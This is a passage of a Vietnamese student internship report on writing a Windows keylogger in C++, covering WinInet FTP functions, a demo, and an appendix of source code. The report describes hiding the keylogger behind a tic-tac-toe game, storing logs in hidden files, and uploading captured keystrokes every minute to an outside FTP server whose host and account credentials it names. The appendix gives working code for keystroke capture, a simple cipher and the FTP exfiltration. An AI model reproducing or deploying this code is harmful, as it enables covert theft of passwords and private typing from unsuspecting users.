proxy cho bất kỳ tên máy chủ mà không có một khoảng thời gian .
Theo mặc định, WinInet sẽ bỏ qua proxy cho các yêu cầu sử dụng các tên máy "
localhost", " loopback " , "127.0.0.1" , hoặc " [ :: 1 ] ". Hành vi này tồn tại bởi vì
một máy chủ proxy từ xa thông thường sẽ không giải quyết được những địa chỉ
đúng.
Internet Explorer 9 : Chúng ta có thể loại bỏ các máy tính cục bộ từ danh sách bỏ
qua proxy sử dụng các " < - loopback > " macro .
Nếu dwAccessType không được thiết lập để INTERNET_OPEN_TYPE_PROXY,
tham số này được bỏ qua và phải là NULL.
dwFlags [in]: Tùy chọn, tham số này có thể là một sự kết hợp của các giá trị sau.
INTERNET_FLAG_ASYNC: Chỉ yêu cầu không đồng bộ trên handle có nguồn
gốc từ xử lý trở về từ hàm này.
INTERNET_FLAG_FROM_CACHE: Không thực hiện các yêu cầu mạng. Tất cả
các đơn vị được trả về từ bộ nhớ cache. Nếu các yêu cầu không có trong bộ nhớ
cache, một lỗi thích hợp, chẳng hạn như ERROR_FILE_NOT_FOUND, được trả
về.
INTERNET_FLAG_OFFLINE: Giống INTERNET_FLAG_FROM_CACHE không
thực hiện các yêu cầu mạng. Tất cả các đơn vị được trả về từ bộ nhớ cache . Nếu
các yêu cầu không có trong bộ nhớ cache, một lỗi thích hợp, chẳng hạn như
ERROR_FILE_NOT_FOUND được trả về.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 13
2.1.3.2 InternetConnect function : Hàm này sử dụng thư viện Wininet.lib Để cho
các trang web FTP, InternetConnect thực sự thiết lập một kết nối tới máy chủ. Kết
nối thực tế không được thành lập cho đến khi ứng dụng yêu cầu một giao dịch cụ
thể .
Cú pháp của hàm này như sau:
HINTERNET InternetConnect(
_In_ HINTERNET hInternet,
_In_ LPCTSTR lpszServerName,
_In_ INTERNET_PORT nServerPort,
_In_ LPCTSTR lpszUsername,
_In_ LPCTSTR lpszPassword,
_In_ DWORD dwService,
_In_ DWORD dwFlags,
_In_ DWORD_PTR dwContext
);
Chi tiết các tham số như sau:
hInternet [in]: Handle được trả về bởi một cuộc gọi trước đến InternetOpen .
lpszServerName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên máy
chủ của một máy chủ Internet. Thay vào đó, các chuỗi có thể chứa số IP của trang
web, trong ASCII định dạng chấm thập phân (ví dụ , 11.0.1.45 ) .
nServerPort [in]: Cổng trên máy chủ Transmission Control Protocol hoặc Internet
Protocol (TCP / IP). Các flag thiết lập cho cổng được sử dụng. Dịch vụ này được
thiết lập bởi giá trị của dwService. Tham số này có thể là một trong những giá trị
sau.
INTERNET_DEFAULT_FTP_PORT: Sử dụng cổng mặc định cho các máy chủ
FTP (port 21).
INTERNET_DEFAULT_GOPHER_PORT: Sử dụng cổng mặc định cho các máy
chủ Gopher (port 70 ) .
Lưu ý Windows XP và Windows Server 2003 R2 và trước đó chỉ .
INTERNET_DEFAULT_HTTP_PORT: Sử dụng cổng mặc định cho các máy chủ
HTTP ( cổng 80 ) .
INTERNET_DEFAULT_HTTPS_PORT: Sử dụng cổng mặc định cho an toàn
Hypertext Transfer Protocol (HTTPS) máy chủ ( cổng 443 ) .
INTERNET_DEFAULT_SOCKS_PORT: Sử dụng cổng mặc định cho máy chủ
SOCKS tường lửa (port 1080).
INTERNET_INVALID_PORT_NUMBER: Sử dụng cổng mặc định cho các dịch vụ
theo quy định của dwService
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 14
lpszUsername [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của
người sử dụng để đăng nhập vào. Nếu tham số này là NULL, hàm sử dụng một
mặc định thích hợp. Đối với các giao thức FTP, mặc định là "vô danh" .
lpszPassword [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt có chứa mật khẩu sử
dụng để đăng nhập vào. Nếu cả hai lpszPassword và lpszUsername là NULL, chức
năng sử dụng mặc định "vô danh" mật khẩu. Trong trường hợp của FTP, mật khẩu
mặc định là tên email của người dùng. Nếu lpszPassword là NULL, nhưng
lpszUsername không phải là NULL, chức năng sử dụng một mật khẩu trống.
dwService [in]: Loại hình dịch vụ truy cập, tham số này có thể là một trong những
giá trị sau.
INTERNET_SERVICE_FTP: Dịch vụ FTP.
INTERNET_SERVICE_GOPHER: Dịch vụ Gopher .
Lưu ý Windows XP và Windows Server 2003 R2 và trước đó chỉ .
INTERNET_SERVICE_HTTP:Dich vụ HTTP.
dwFlags [in]: Tùy chọn cụ thể cho các dịch vụ sử dụng nếu dwService là
INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE các ứng dụng để sử
dụng ngữ nghĩa FTP mặc định .
dwContext [in]: Con trỏ trỏ đến một biến có chứa một giá trị ứng dụng xác định
được sử dụng để xác định bối cảnh ứng dụng cho điều khiển trả về trong callbacks.
2.1.3.3 InternetWriteFile function : Hàm này sử dụng thư viện Wininet.lib Khi
ứng dụng được gửi dữ liệu, nó phải gọi hàm InternetCloseHandle để kết thúc
truyền dữ liệu.
Lưu ý WinInet không hỗ trợ triển khai máy chủ. Ngoài ra, nó không nên được sử
dụng từ một dịch vụ cho việc triển khai dịch vụ máy chủ sử dụng Microsoft
Windows HTTP Services ( WinHTTP ) .
Cú pháp của hàm InternetWriteFile như sau:
BOOL InternetWriteFile(
_In_ HINTERNET hFile,
_In_ LPCVOID lpBuffer,
_In_ DWORD dwNumberOfBytesToWrite,
_Out_ LPDWORD lpdwNumberOfBytesWritten
);
Ý nghĩa của các tham số như sau:
hFile [in]: Handle được trả về từ một cuộc gọi trước để FtpOpenFile hoặc một
HINTERNET xử lý gửi HttpSendRequestEx .
lpBuffer [in]: Con trỏ trỏ đến một bộ đệm có chứa các dữ liệu được ghi vào tập tin
dwNumberOfBytesToWrite [in]: Số byte được ghi vào tập tin.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 15
lpdwNumberOfBytesWritten [out]: Con trỏ trỏ đến một biến nhận được số byte
ghi vào tập tin. InternetWriteFile đặt giá trị này bằng không trước khi làm bất cứ
công việc hay kiểm tra lỗi .
Giá trị hàm này trả về như sau : Trả về TRUE nếu hàm thành công , hoặc FALSE
khác. Để có được thông tin lỗi mở rộng, gọi GetLastError. Một ứng dụng cũng có
thể sử dụng InternetGetLastResponseInfo khi cần thiết.
2.1.3.4 FtpOpenFile function : Hàm này sử dụng thư viện Wininet.lib. Sau khi gọi
hàm FtpOpenFile và cho đến khi gọi InternetCloseHandle, tất cả các cuộc gọi khác
đến FTP và cùng một phiên xử lý sẽ thất bại và thiết lập các thông báo lỗi để
ERROR_FTP_TRANSFER_IN_PROGRESS. Sau khi ứng dụng gọi đã kết thúc
bằng cách sử dụng HINTERNET xử lý trả về bởi FtpOpenFile, nó phải được đóng
lại bằng cách sử dụng hàm InternetCloseHandle .
Chỉ có một tập tin có thể được mở trong một phiên FTP duy nhất. Do đó, không xử
lý tập tin được trả về và các ứng dụng chỉ đơn giản là sử dụng FTP phiên xử lý khi
cần thiết.
Cú pháp hàm này như sau:
HINTERNET FtpOpenFile(
_In_ HINTERNET hConnect,
_In_ LPCTSTR lpszFileName,
_In_ DWORD dwAccess,
_In_ DWORD dwFlags,
_In_ DWORD_PTR dwContext
);
Ý nghĩa của các tham số như sau:
hConnect [in]:Handle của một phiên FTP (session).
lpszFileName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt có chứa tên của tập
tin được truy cập.
dwAccess [in]: Kiểu truy cập. Tham số này có thể GENERIC_READ hoặc
GENERIC_WRITE, nhưng không được là cả hai.
dwFlags [in]: Điều kiện trong khi truyền tải xảy ra. Ứng dụng nên chọn một loại
chuyển giao và bất kỳ cờ mà chỉ ra bộ nhớ đệm của các tập tin sẽ được kiểm soát .
Loại chuyển giao có thể là một trong những giá trị sau.
FTP_TRANSFER_TYPE_ASCII: Chuyển các tập tin bằng cách sử dụng FTP của
ASCII ( Type A) phương pháp chuyển giao. Kiểm soát và thông tin định dạng được
chuyển đổi để tương đương.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 16
FTP_TRANSFER_TYPE_BINARY: Chuyển các tập tin bằng cách sử dụng FTP
cho hình ảnh ( loại I ) phương pháp chuyển giao. Các tập tin được chuyển chính
xác như nó tồn tại không thay đổi. Đây là phương pháp chuyển file mặc định .
FTP_TRANSFER_TYPE_UNKNOWN: Mặc định là
FTP_TRANSFER_TYPE_BINARY .
INTERNET_FLAG_TRANSFER_ASCII: Truyền tập tin như ASCII.
INTERNET_FLAG_TRANSFER_BINARY: Truyền các tập tin như nhị phân.
Các giá trị sau được sử dụng để kiểm soát bộ nhớ đệm của tập tin. Ứng dụng có
thể sử dụng một hoặc nhiều các giá trị.
INTERNET_FLAG_HYPERLINK: Buộc tải lại nếu hết thời gian và không có thời
gian lastmodified trở về từ máy chủ, để biết cần tải lại các mục từ mạng.
INTERNET_FLAG_NEED_FILE: Một tập tin tạm thời được tạo ra nếu các tập tin
không được lưu trữ.
INTERNET_FLAG_RELOAD: Buộc tải về các tập tin được yêu cầu, đối tượng,
hoặc danh sách thư mục từ máy chủ gốc, không phải từ bộ nhớ cache.
INTERNET_FLAG_RESYNCHRONIZE: Tải lại nguồn HTTP nếu nguồn tài
nguyên đã được sửa đổi kể từ lần cuối cùng nó đã được tải về. Tất cả các tài
nguyên FTP được nạp lại.
Windows XP và Windows Server 2003 R2 và trước đó : Nguồn Gopher cũng được
nạp lại.
dwContext [in]: Con trỏ trỏ đến một biến có chứa các giá trị ứng dụng định nghĩa
liên kết tìm kiếm này với bất kỳ dữ liệu ứng dụng nào. Điều này chỉ được sử dụng
nếu ứng dụng đã được gọi là InternetSetStatusCallback để thiết lập một chức năng
trạng thái gọi lại.
Giá trị trả về từ hàm này: Trả về một handle nếu thành công, hoặc NULL nếu
khác. Để lấy một thông báo lỗi cụ thể gọi GetLastError .
2.2 Kết quả của chương trình keylogger
Ý tưởng :Lấy được thông tin nhập từ bàn phím. Sau khi lấy được các ký tự này sẽ
được ghi vào trong một file (thường được hiểu là file log). File này sẽ được mã hóa
dựa vào thuật toán đối xứng và theo kiểu mã hóa thay thế. Khi user bấm 1 phím
bất kỳ trên bàn phím ký tự này sẽ được đổ vào một file chưa mã hóa sau đó dựa
vào file này từng ký tự sẽ được đổ vào file mã hóa dựa vào mã hóa thay thế và key
mặc định mang giá tri INT. Tới đây chương trình Keylogger đã tạo được 1 file log
mã hóa. Việc tiếp theo đó là sử dụng file log này gửi về một FTP server chúng ta
có đăng ký tài khoản sẵn tại FTP server. Để file log có thể gửi đến FTP server của
chúng ta cần cung cấp URL của FTP server, username, password. Trong chương
trình này chúng ta có sử FTP server: ftp.driverhq.com
Username:freedomelem
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 17
Password:123456
Mục đích của việc đăng ký tài khoản là để lấy được file log gửi đến FTP server và
chúng ta có thể đọc thông tin bất kỳ đâu có internet. File log được gửi đến FTP
Server với tên là Ngày_tháng_giờ _phút _giây để tiện cho việc theo dõi ngày ghi
và giờ ghi file log. Ví du: Logdate_29Jul_time_114112.txt
Một đăc điểm của chương trình nữa đó là có thể thay đổi thời gian gửi về FTP
Server của chúng ta. Cứ đến khoảng thời gian đó thì file log sẽ được gửi về FTP
server.
Vì chương trình hiện tạo có mục đích để theo dõi và bắt các lỗi nên em có làm giao
diện để thao tác và truyền tham số đầu vào.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 18
CHƯƠNG III .DEMO CHƯƠNG TRÌNH KEYLOGGER
3.1 Giao diện trò chơi che giấu chương trình Keylogger
Một game đơn giản để che giấu chương trình Keylogger.
Hình3.1.Giao diện trò chơi che giấu Keylogger
Do em viết trên DevC++ nên trò chơi chỉ ở mức đơn giản và không có đồ họa đẹp
mắt. Mục đích của việc này là để che giấu mã nguồn của Keylogger và do thời
gian thực tập quá ngắn em hiện chưa làm được việc vừa chạy game này song song
với chạy Keylogger. Để vào giao diện chính của chương trình Keylogger cần bấm
một chuỗi dãy số giống như một chìa khóa hay còn gọi là key. Key em đặt mặc
định là: 543678. Sau khi nhập dãy số này và nhấn Enter sẽ vào chương trình
Keylogger bình thường. Keylogger có giao diện chính như hình 3.2 bên dưới.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 19
3.2 Giao diện chính của chương trình keylogger
Chương trình sẽ có giao diện chính như sau :
Hình 3.2 .Giao diện chính của chương trình Keylogger
Thoạt nhìn giao diện này chúng ta có thể thấy được sơ lược các chức năng của
chương trình. Chương trình có ba chức năng chính. Chức năng thứ nhất gồm có
khởi tạo file cho file log và ftp server để nhận file log.
Chức năng thứ 2 là để chạy Keylogger và chức năng cuối cùng là để quay lại trò
chơi cờ caro.
3.3 Thao tác thiết lập cho ftp Server
Sau khi chọn chức năng 1 thì một cửa sổ mới sẽ được hiện ra để thao tác các chức
năng trên FTP server. Giao diện chi tiết như sau:
Hình 3.3.Giao diện tạo ftp server
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 20
Sau khi nhấn phím 1 và Enter ở hình 3.2 chương trình có một giao diện mới như
hình 3.3. Sau đó chúng ta chọn chức năng 1 sẽ hiện ra 1 giao diện mới để nhập các
tham số cho Ftp Server .
Tham số bao gồm có : Tên host, username và password.
Kết quả điền tham số như sau: Nhập tên host là bước đầu tiên, để nhâp tên host
chúng ta cần tìm một số trang web hỗ trợ tạo Ftp server cho truyền tải và nhận file
của chúng ta, Nhập username và Password. Để cố 2 tham số này cần chúng ta đăng
ký 1 tài khoản tại Ftp Server. Sau cùng là nhấn phím 5 và enter để trở về giao diên
hình 3.3 và nhấn tiếp phím 2 để trở về giao diện hình 3.2.
Kết quả của việc khới tạo giống như hình 3.4 phía dưới đây:
Hình 3.4.Thiết lập tham số cho Ftp server
3.4 Khởi tạo file log
Chương trình có sử dụng một cặp file để chứa các phím đã được ấn từ bàn phím.
Một file chứa giá trị phím được ấn và file kia sẽ mã hóa và lưu lại ngay sau khi có
một giá trị bất kỳ từ file gốc này. Chương trình em có sử dụng tạo cặp file và thư
mục chưa file măc định như sau:
Thư mục: e:/son
File log: e:sondecrypt.txt và e:sonencrypt.txt
Thư mục chứa 2 file log này được lưu trữ dạng ẩn file.
Kết quả của việc tạo thư mục như hình 3.5. Để có thư mục này thì cần phải chạy
Keylogger ngay lập tức thư mục và file log ghi lại sẽ được tạo ra.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 21
Hình 3.5. Tạo thư mục và file
3.5 Kết quả chạy chương trình Keylogger
Tại giao diện hình 3.2 sau khi chúng ta khởi tạo tất cả các tham số như các bước
trên hoàn tất chúng ta nhấn phím 2 để keylogger bắt đầu hook keybroad. Chương
trình có hẹn giờ nhất định để gửi file log về Ftp Server của chúng ta (trong chương
trình em hẹn thời gian gửi file log về Ftp Server là 1 phút(60s)). Sau 1 phút sẽ có 1
thông báo hiện lên để thông báo kết quả gửi file log .
Kết quả chạy chương trình như sau:
Hình 3.6 .Kết quả chạy chương trình Keylogger .
BÁO CAO TTTN ĐẠI HỌC KẾT LUẬN
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 22
KẾT LUẬN
Qua quãng thời gian làm đề tài này em đã có thêm thật nhiều kiến thức mới mẻ và thú
vị . Cùng với những kiến thức cơ bản về HĐH windows song song với quá trình tìm
hiểu về Keylogger, để dựa vào những kiến thức nền tảng và đầy tính chất mang tính
thực tiễn em viết một chương trình Keylogger đơn giản với mục đích giám sát.
Kết quả đạt được: Do thời gian thực trong một khoảng thời gian ngắn và em chưa có
hiểu biết sâu về HĐH windows cùng một số thư viện cũng như các hàm cần thiết. Em
đã viết được một chương trình Keylogger. Keylogger hiện tại mới ở mức độ đơn giản
mới chỉ có thể mã hóa file log với thuật toán mã hóa đối xứng thay thế, sau đó file log
này sẽ được gửi tới ftp server với một tài khoản được em đăng ký từ trước. File log
này sẽ được gửi tới ftp server cứ sau một khoảng thời gian do em thiết lập.
Tương lai phát triển : Trong tương lai em sẽ cố gắng hoàn thiện thêm một số chức
năng nữa cho Keylogger, để Keylogger này tuy chỉ dùng với mục đích giám sát nhưng
sẽ hiệu quả và mang tính chất thực tiễn tốt hơn. Trong quá trình thực hiện đề tài, dù đã
rất cố gắng, nhưng do trình độ, kiến thức, thời gian còn nhiều hạn chế, không thể tránh
khỏi những thiếu sót trong lúc thực hiện. Em rất mong được sử đóng góp ý kiến, sửa
chữa, và định hướng phát triển đề tài được hoàn thiện hơn. Rất cám ơn thầy cô đã dành
thời gian để đọc và đánh giá đề tài.
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 23
PHỤ LỤC
Code mã hóa và giải mã cho file log:
void Ma_hoa(void)
{
fflush(stdin);
int e,c;
FILE *file;
FILE *file1;
if((file1=fopen(filename1,"a+"))==NULL)
{
cout<<"ERROR: KHONG MO DUOC TEP FILE 1 CUA BAN n"<<endl;}
if((file=fopen(filename,"r"))==NULL)
{
cout<<"ERROR: KHONG MO DUOC TEP FILE CUA BAN n"<<endl;}
else
{
fseek(file,0,SEEK_SET);
while((c = fgetc(file)) != EOF){
e=c+key;
fputc(e,file1);
}
fclose(file);
fclose(file1);
file=fopen(filename,"w");
fclose(file);
}
}
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 24
void Giai_ma(void)
{
fflush(stdin);
int e,c;
FILE *file;
FILE *file1;
if((file1=fopen(filename1,"r"))==NULL)
{
cout<<"ERROR: KHONG MO DUOC TEP FILE 1 CUA BAN n"<<endl;
}
if((file=fopen(filename,"a+"))==NULL)
{
cout<<"ERROR: KHONG MO DUOC TEP FILE CUA BAN n"<<endl;
}
else
{
fseek(file1,0,SEEK_SET);
while((c = fgetc(file1)) != EOF)
{
e=c-key;
fputc(e,file);
}
fclose(file);
fclose(file1);
}}
Code gửi file log tới Ftp Server:
void Kiem_tra()
{
clrscr();
HINTERNET Open;
HINTERNET Connect;
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 25
HINTERNET File;
time_t now=time(0);
char *dt =ctime(&now);
/***************************************************************
*****/
time_t rawtime;
struct tm * timeinfo;
char buffer1 [80];
string name;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
strftime (buffer1,80,"Logdate_%d%b_time_%H%M%S.txt",timeinfo);
name=string(buffer1);
/***************************************************************
*****/
int i=2;
textcolor(WHITE);
gotoxy(1,1);
cout<<"************************** ";
textcolor(LIGHTMAGENTA);
cout<<" Ket qua chay Keylogger " ;
textcolor(WHITE);
cout<<" **************************";
for(i=2;i<=35;i++)
{
gotoxy(1,i);
cout<<"*";
}
for(i=2;i<=35;i++)
{
gotoxy(78,i);
cout<<"*";
}
gotoxy(1,36);
cout<<"*********************************************************
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 26
***”;
gotoxy(10,3);
textcolor(LIGHTBLUE);
cout<<"Thoi gian bat dau gui file toi server :"<<dt<<endl;
if((Open=InternetOpen("", INTERNET_OPEN_TYPE_PRECONFIG,
NULL, NULL, INTERNET_FLAG_PASSIVE))!=NULL)//chuan bi cho
viec giao tiep voi proxy server
{
textcolor(LIGHTCYAN);
gotoxy(30,5);
cout<<"Chuan bi cho ket noi thanh cong!n";
}
else
{
textcolor(LIGHTCYAN);
gotoxy(30,5);
cout<<"Chuan bi cho ket noi that bai !n";
return ;
}
if((Connect=InternetConnect(Open,hostname.c_str(),INTERNET_DEFAU
LT_FTP_PORT,username.c_str(),password.c_str(),INTERNET_SERVICE
_FTP, INTERNET_FLAG_PASSIVE, 0))!=NULL)
{
textcolor(LIGHTCYAN);
gotoxy(30,7);
cout<<"Dang nhap thanh cong !n";
}
else
{
textcolor(LIGHTCYAN);
gotoxy(30,7);
cout<<"Dang nhap that bai n";
return;
}
if((File=FtpOpenFile(Connect,name.c_str(), GENERIC_WRITE,
FTP_TRANSFER_TYPE_ASCII, 0))!=NULL)
{
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 27
textcolor(LIGHTCYAN);
gotoxy(30,9);
cout<<"Mo file thanh cong!";
}
else
{
textcolor(LIGHTCYAN);
gotoxy(30,9);
cout<<"Mo file that bai !";
}
//khai bao cac tham so can su dung trong viec gui file len ftp server
FILE * pFile;
long lSize;
char * buffer;
size_t result;
Giai_ma();
pFile = fopen ( filename,"rb");
if (pFile==NULL)
{
textcolor(LIGHTCYAN);
gotoxy(30,11);
cout<<" Mo file bi loi !";
}
// obtain file size:
fseek (pFile , 0 , SEEK_END);
lSize = ftell (pFile);
rewind (pFile);
// allocate memory to contain the whole file:
buffer = (char*) malloc (sizeof(char)*lSize);
if (buffer == NULL)
{
textcolor(LIGHTCYAN);
gotoxy(30,13);
cout<<"Cap phat bo nho bi loi!" ;
}
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 28
// copy the file into the buffer:
result = fread (buffer,1,lSize,pFile);
if (result != lSize)
{
textcolor(LIGHTCYAN);
gotoxy(30,15);
cout<<"Coppy file vao buff bi loi";
}
// terminate
DWORD wb = 0;//set=0 before run program
BOOL Success = InternetWriteFile(File,buffer, strlen(buffer), &wb);
if(!Success)
{
textcolor(LIGHTCYAN);
gotoxy(30,17);
cout<<"Internet write file bi loi !";
}
else
{
if(pFile!=NULL&&buffer != NULL&&result == lSize)
{
textcolor(LIGHTCYAN);
gotoxy(30,11);
cout<<"Upload file thanh cong !n";
}
else
{
textcolor(LIGHTCYAN);
gotoxy(30,19);
cout<<"Upload file thanh cong !n";
}
}
fclose (pFile);
pFile = fopen ( filename1,"w");
fclose(pFile);
pFile = fopen ( filename,"w");
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 29
fclose(pFile);
InternetCloseHandle(Open);
}
Code ghi file log các phím đã được ấn
int key_event()
{ clrscr();
timer t;
t.start();
short character;
FILE *file;
if((file=fopen(filename,"a+"))==NULL)
{
gotoxy(1,13);
textcolor(LIGHTCYAN);
cout<<" => Loi mo file de ghi log can khai bao buoc 1!
<= n";
system("pause");
// break;
}
else
{
time_t theTime=time(0);
fputs(" Bat dau ghi file log vao : ", file);
fputs(ctime(&theTime),file);
fclose(file);
}
Ma_hoa();
while(true)
{
if(t.getTime()==60)
{
Kiem_tra();
t.reset();
}
if(t.getTime()!=60)
{
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 30
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(filename,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
Ma_hoa();
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
Ma_hoa();
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
Ma_hoa();
break;
case VK_SHIFT:
fputs("rn[SHIFT]rn",file);
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 31
fclose(file);
Ma_hoa();
break;
case VK_RETURN:
fputs("rn[ENTER]rn",file);
fclose(file);
Ma_hoa();
break;
case VK_BACK:
fputs("rn[BACKSPACE]rn",file);
fclose(file);
Ma_hoa();
break;
case VK_TAB:
fputs("rn[TAB]rn",file);
fclose(file);
Ma_hoa();
break;
case VK_CONTROL:
fputs("rn[CTRL]rn",file);
fclose(file);
Ma_hoa();
break;
case VK_DELETE:
fputs("rn[DEL]rn",file);
fclose(file);
Ma_hoa();
break;
case VK_INSERT :
fputs("rn[INSERT]rn",file);
fclose(file);
Ma_hoa();
break;
case VK_ESCAPE :
fputs("rn[ESCAPE]rn",file);
fclose(file);
Ma_hoa();
break;
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 32
case VK_OEM_1:
if(GetAsyncKeyState(VK_SHIFT))
{
fputs(":",file);
fclose(file);
Ma_hoa();
}
else
{
fputs(";",file);
fclose(file);
Ma_hoa();
}
break;
case VK_OEM_2:
if(GetAsyncKeyState(VK_SHIFT))
{
fputs("?",file);
fclose(file);
Ma_hoa();
}
else
{
fputs("/",file);
fclose(file);
Ma_hoa();
}
break;
case VK_OEM_3:
if(GetAsyncKeyState(VK_SHIFT))
{
fputs("~",file);
fclose(file);
Ma_hoa();
}
else
{
fputs("`",file);
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 33
fclose(file);
Ma_hoa();
}
break;
case VK_OEM_4:
if(GetAsyncKeyState(VK_SHIFT))
{
fputs("{",file);
fclose(file);
Ma_hoa();
}
else
{
fputs("[",file);
fclose(file);
Ma_hoa();
}
break;
case VK_OEM_5:
if(GetAsyncKeyState(VK_SHIFT))
{
fputs("|",file);
fclose(file);
Ma_hoa();
}
else
{
fputs("",file);
fclose(file);
Ma_hoa();
}
break;
case VK_OEM_6:
if(GetAsyncKeyState(VK_SHIFT))
{
fputs("}",file);
fclose(file);
Ma_hoa();
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 34
}
else
{
fputs("]",file);
fclose(file);
Ma_hoa();
}
break;
case VK_OEM_7:
if(GetAsyncKeyState(VK_SHIFT))
{
fputs(""",file);
fclose(file);
Ma_hoa();
}
else
{
fputs("'",file);
fclose(file);
Ma_hoa();
}
break;
case 187:
fputc('+',file);
fclose(file);
Ma_hoa();
break;
case 188:
fputc(',',file);
fclose(file);
Ma_hoa();
break;
case 189:
fputc('-',file);
fclose(file);
Ma_hoa();
break;
case 190:
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 35
fputc('.',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
Ma_hoa();
BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 36
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
Ma_hoa();
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
Ma_hoa();
break;
case VK_CAPITAL:
fputs("rn[CAPS LOCK]rn",file);
fclose(file);
Ma_hoa();
break;
default:
fclose(file);
Ma_hoa();
break;
} }}}}}}}}
BÁO CAO TTTN ĐẠI HỌC TÀI LIỆU THAM KHẢO
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 37
TÀI LIỆU THAM KHẢO
4.1 Danh mục các Website tham khảo:
[1] http://www.parxy.com/history-keyloggers.html
[2]http://msdn.microsoft.com/enus/library/windows/desktop/aa385096%28v=vs.85
%29.aspx
[3]http://msdn.microsoft.com/en-
us/library/windows/desktop/aa385128(v=vs.85).aspx
[4]http://msdn.microsoft.com/en-
us/library/windows/desktop/aa384363(v=vs.85).aspx
[5] http://www.cplusplus.com/forum/general/
[6] http://vi.wikipedia.org/wiki/Keylogger
[7] http://www.tutorialspoint.com/cplusplus/cpp_date_time.htm
[8] http://www.tutorialspoint.com/cplusplus/cpp_strings.htm
[9] http://www.tutorialspoint.com/cplusplus/cpp_strings.htm
[10] http://www.irongeek.com/i.php?page=security/keylogger
[11] http://www.cpp-home.com/forum/viewtopic.php?f=4&t=15775
[12] http://www.cppforschool.com/project/tic-tac-toe-project.html

Weitere ähnliche Inhalte

Was ist angesagt?

Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongVu Trung Kien
 
Báo cáo ATTT CÁC DẠNG TẤN CÔNG SQL INJECTION
